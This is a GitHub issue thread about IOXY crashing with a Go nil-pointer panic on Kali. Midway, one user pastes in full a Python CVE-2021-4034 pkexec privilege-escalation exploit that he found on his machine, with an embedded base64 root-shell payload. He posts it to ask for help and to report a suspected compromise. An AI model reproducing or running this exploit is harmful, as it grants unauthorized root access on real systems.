panic: runtime error

[MichaelVirnig]

I am trying to install on the latest kali linux build. I have golang-go working and am able to complete the build with go. I have go 1.19.1 installed and go-sqlite3 v1.14.15
Whenever I try to launch the gui I get the following error.

./ioxy gui
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x7a3226]

goroutine 1 [running]:
debug/elf.(*Section).ReadAt(0xc00017c340?, {0xc00020ac00?, 0xeda8f0?, 0x34?}, 0x40?)
:1 +0x26
archive/zip.readDirectoryEnd({0xb142c0, 0xc000177300}, 0x510)
/usr/local/go/src/archive/zip/reader.go:526 +0xf5
archive/zip.(*Reader).init(0xc000117030, {0xb142c0?, 0xc000177300}, 0x510)
/usr/local/go/src/archive/zip/reader.go:97 +0x5c
archive/zip.NewReader({0xb142c0, 0xc000177300}, 0x510)
/usr/local/go/src/archive/zip/reader.go:90 +0x5e
github.com/daaku/go%2ezipexe.zipExeReaderElf({0xb14c60?, 0xc000014058}, 0xedb5f0)
/root/go/pkg/mod/github.com/daaku/go.zipexe@v1.0.0/zipexe.go:128 +0x8b
github.com/daaku/go%2ezipexe.NewReader({0xb14c60, 0xc000014058}, 0x0?)
/root/go/pkg/mod/github.com/daaku/go.zipexe@v1.0.0/zipexe.go:48 +0x98
github.com/daaku/go%2ezipexe.OpenCloser({0xc00002c258?, 0xc000143d10?})
/root/go/pkg/mod/github.com/daaku/go.zipexe@v1.0.0/zipexe.go:30 +0x57
github.com/GeertJohan/go%2erice.init.0()
/root/go/pkg/mod/github.com/!geert!johan/go.rice@v1.0.2/appended.go:42 +0x65

Hopefully someone else has run into this and has a fix, but as of right now I have reinstalled go and ioxy with restarts and not seeing anything significant in the logs.

[hutchYy]

Hi Michael!

Thanks for showing interest in IOXY and submitting the issue!
We added this issue to our tracking list and will comeback to you soon with more details and hopefully, a fix :)

Have a nice day!

Best regards,
hutchYy

[SecJoe]

Same here on kali. I think much people (pentester) are using IOXY primarily on kali, so the that tool should be tested and fully working on kali primary.

@MichaelVirnig: Do you have found any workaround?

[FlyingDomotic]

I have the same problem here with an RPi 4 under Buster.

And under Kali on PC. Just after running ./ioxy gui, I found some strange files on my home directory.

First, a ''GCONV_PATH=./' empty file.
Second, an exploit folder, containing a gconv-modules file with an header
Last, a test.py file containing:

#!/usr/bin/env python3

# CVE-2021-4034 in Python
#
# Joe Ammond (joe@ammond.org)
#
# This was just an experiment to see whether I could get this to work
# in Python, and to play around with ctypes

# This was completely cribbed from blasty's original C code:
# https://haxx.in/files/blasty-vs-pkexec.c

import base64
import os
import sys

from ctypes import *
from ctypes.util import find_library

# Payload, base64 encoded ELF shared object. Generate with:
#
# msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
#
# The PrependSetuid=true is important, without it you'll just get
# a shell as the user and not root.
#
# Should work with any msfvenom payload, tested with linux/x64/exec
# and linux/x64/shell_reverse_tcp

payload_b64 = b'''
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAAC
AEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArwEAAAAAAADMAQAAAAAAAAAQ
AAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAA
AAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA
AAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAA
AACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAASDH/amlYDwVIuC9iaW4vc2gAmVBUX1JeajtYDwU=
'''
payload = base64.b64decode(payload_b64)

# Set the environment for the call to execve()
environ = [
        b'exploit',
        b'PATH=GCONV_PATH=.',
        b'LC_MESSAGES=en_US.UTF-8',
        b'XAUTHORITY=../LOL',
        None
]

# Find the C library to call execve() directly, as Python helpfully doesn't
# allow us to call execve() with no arguments.
try:
    libc = CDLL(find_library('c'))
except:
    print('[!] Unable to find the C library, wtf?')
    sys.exit()

# Create the shared library from the payload
print('[+] Creating shared library for exploit code.')
try:
    with open('payload.so', 'wb') as f:
        f.write(payload)
except:
    print('[!] Failed creating payload.so.')
    sys.exit()
os.chmod('payload.so', 0o0755)

# make the GCONV_PATH directory
try:
    os.mkdir('GCONV_PATH=.')
except FileExistsError:
    print('[-] GCONV_PATH=. directory already exists, continuing.')
except:
    print('[!] Failed making GCONV_PATH=. directory.')
    sys.exit()

# Create a temp exploit file
try:
    with open('GCONV_PATH=./exploit', 'wb') as f:
        f.write(b'')
except:
    print('[!] Failed creating exploit file')
    sys.exit()
os.chmod('GCONV_PATH=./exploit', 0o0755)

# Create directory to hold gconf-modules configuration file
try:
    os.mkdir('exploit')
except FileExistsError:
    print('[-] exploit directory already exists, continuing.')
except:
    print('[!] Failed making exploit directory.')
    sys.exit()

# Create gconf config file
try:
    with open('exploit/gconv-modules', 'wb') as f:
        f.write(b'module  UTF-8//    INTERNAL    ../payload    2\n');
except:
    print('[!] Failed to create gconf-modules config file.')
    sys.exit()

# Convert the environment to an array of char*
environ_p = (c_char_p * len(environ))()
environ_p[:] = environ

print('[+] Calling execve()')
# Call execve() with NULL arguments
libc.execve(b'/usr/bin/pkexec', c_char_p(None), environ_p)

I'm not an expert, but this looks like an exploit, trying to do unknown things, as I don't understand what's in Base64 payload, supposed to be an ELF file, I don't know which OS is targeted.

Reading the code, I suspect a crash in the last line, probably due to the fact that ELF format is not for the right OS/CPU.

FYI, this was done on a brand new go language installation on both Kali and Debian, with native (golang-go, notgccgo-go), following ##8 (comment) procedure (except that I didn't remove gcc-go, as it was not installed). That's the only go language code I ever ran on this machine. This may be located somewhere in the used modules, but I didn't try yet to locate it, as I a very newbie in go (but I'll try to fix it!)

[hutchYy]

Hi @FlyingDomotic, @MichaelVirnig,

I just tried to reproduce your issues on a fresh new kali:

┌──(kali㉿kali)-[~]
└─$ cat /etc/os-release 
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
ID=kali
VERSION="2022.3"
VERSION_ID="2022.3"
VERSION_CODENAME="kali-rolling"
ID_LIKE=debian
ANSI_COLOR="1;31"
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"

Here is the steps I made to install IOXY on a fresh Kali:

sudo apt update && sudo apt install -y golang-go
git clone https://github.com/NVISOsecurity/IOXY.git
cd IOXY/ioxy
CGO_CFLAGS="-g -O2 -Wno-return-local-addr" go build .
./ioxy gui


[ IN ANOTHER SHELL]
sudo netstat -tulpn 

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp6       0      0 :::1111                 :::*                    LISTEN      8827/./ioxy

When browsing to http://127.0.0.1:111, I have the correct gui interface:

I also had a look at the dependencies, and they are version pinned + hash checked, which means that it used a trusted version and even if a repository get infected, a library would not be installed as it is not valid.

@FlyingDomotic, also, I just checked my local files for malicious scripts, but as you can see I found nothing:

┌──(kali㉿kali)-[~]
└─$ sudo grep -ri "ammond" /root /home  
                                                                                                                                                
┌──(kali㉿kali)-[~]
└─$ 

So think that when debugging IOXY you installed malicious golang packages. I would suggest that you further investigate so you can clean up your possibly compromised machine :)

Waiting for your input to see if my fix works on your machines.
If it works as expected, I will then update the README.txt to add the steps I just mentioned.

Have a nice day and take care!
hutchYy

[MichaelVirnig]

<!-- /* Font Definitions */ @font-face {font-family:"Cambria Math"; panose-1:2 4 5 3 5 4 6 3 2 4;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4;} @font-face {font-family:"Malgun Gothic"; panose-1:2 11 5 3 2 0 0 2 0 4;} @font-face ***@***.*** Gothic";} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {margin:0in; font-size:11.0pt; font-family:"Calibri",sans-serif;} a:link, span.MsoHyperlink {mso-style-priority:99; color:blue; text-decoration:underline;} code {mso-style-priority:99; font-family:"Courier New";} pre {mso-style-priority:99; mso-style-link:"HTML Preformatted Char"; margin:0in; font-size:10.0pt; font-family:"Courier New";} span.HTMLPreformattedChar {mso-style-name:"HTML Preformatted Char"; mso-style-priority:99; mso-style-link:"HTML Preformatted"; font-family:"Courier New";} .MsoChpDefault {mso-style-type:export-only;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in;} div.WordSection1 {page:WordSection1;} -->Thanks for digging into this HutchYy. I just installed a fresh kali vm and followed your steps and I still get the Panic runtime error.  From: hutchYySent: Friday, October 28, 2022 6:19 AMTo: NVISOsecurity/IOXYCc: mediocre mike; MentionSubject: Re: [NVISOsecurity/IOXY] panic: runtime error (Issue #11) Hi @FlyingDomotic, @MichaelVirnig,I just tried to reproduce your issues on a fresh new kali:┌──(kali㉿kali)-[~] └─$ cat /etc/os-release  PRETTY_NAME="Kali GNU/Linux Rolling" NAME="Kali GNU/Linux" ID=kali VERSION="2022.3" VERSION_ID="2022.3" VERSION_CODENAME="kali-rolling" ID_LIKE=debian ANSI_COLOR="1;31" HOME_URL="https://www.kali.org/" SUPPORT_URL="https://forums.kali.org/" BUG_REPORT_URL="https://bugs.kali.org/" Here is the steps I made to install IOXY on a fresh Kali:sudo apt update && sudo apt install -y golang-go git clone https://github.com/NVISOsecurity/IOXY.git cd IOXY/ioxy CGO_CFLAGS="-g -O2 -Wno-return-local-addr" go build . ./ioxy gui     [ IN ANOTHER SHELL] sudo netstat -tulpn    Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name tcp6       0      0 :::1111                 :::*                    LISTEN      8827/./ioxy When browsing to http://127.0.0.1:111, I have the correct gui interface:I also had a look at the dependencies, and they are version pinned + hash checked, which means that it used a trusted version and even if a repository get infected, a library would not be installed as it is not ***@***.***, also, I just checked my local files for malicious scripts, but as you can see I found nothing:┌──(kali㉿kali)-[~] └─$ sudo grep -ri "ammond" /root /home                                                                                                                                                    ┌──(kali㉿kali)-[~] └─$  So think that when debugging IOXY you installed malicious golang packages. I would suggest that you further investigate so you can clean up your possibly compromised machine :)Waiting for your input to see if my fix works on your machines.If it works as expected, I will then update the README.txt to add the steps I just mentioned.Have a nice day and take care!hutchYy—Reply to this email directly, view it on GitHub, or unsubscribe.You are receiving this because you were mentioned.Message ID: ***@***.***> 

[FlyingDomotic]

On my side, I didn't debug anything. I just ran the following commands, on a system without go language:

sudo apt update
sudo apt upgrade
sudo apt install golang-go
sudo apt install golang-github-mattn-go-sqlite3-dev
git clone https://github.com/NVISO-BE/IOXY
cd IOXY/ioxy
export CGO_CFLAGS="-g -O2 -Wno-return-local-addr"
go build -gccgoflags='-lpthread'
./ioxy gui

Seems close to your method, except for golang-github-mattn-go-sqlite3-dev, which was explained on issue #8.

[FlyingDomotic]

As requested, I removed what I did install, and deleted both go and IOXY trees from my home folder.
I then ran Exactly to given commands.
os-release contains:

PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
ID=kali
VERSION="2022.3"
VERSION_ID="2022.3"
VERSION_CODENAME="kali-rolling"
ID_LIKE=debian
ANSI_COLOR="1;31"
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"

I still had the crash.
I removed again everything and installed gccgo-go instead of golang-go. It worked and I have no errors now.
It seems that golang-go is causing the error, while gccgo-go doesn't, at least in my case. It may be interesting to modify IOXY README.md.
However, I don't understand why I got the malicious python file. Can someone try to decompile ELF file to see what it (try to) do?

[windBlaze]

@FlyingDomotic thank you for the update :) I think the issue might be the architecture / CPU of your host (gccgo-go supports more CPUs / architectures than golang-go). In any case, we've updated the README instructions to include both options. I've re-tested them on a clean install of Kali 2022.03, and both methods worked without errors.

[FlyingDomotic]

@windBlaze Thanks!

FYI, machine is an Intel Core I5-1035G1 with 4 x Sunny Cove, something common and not so old ;-)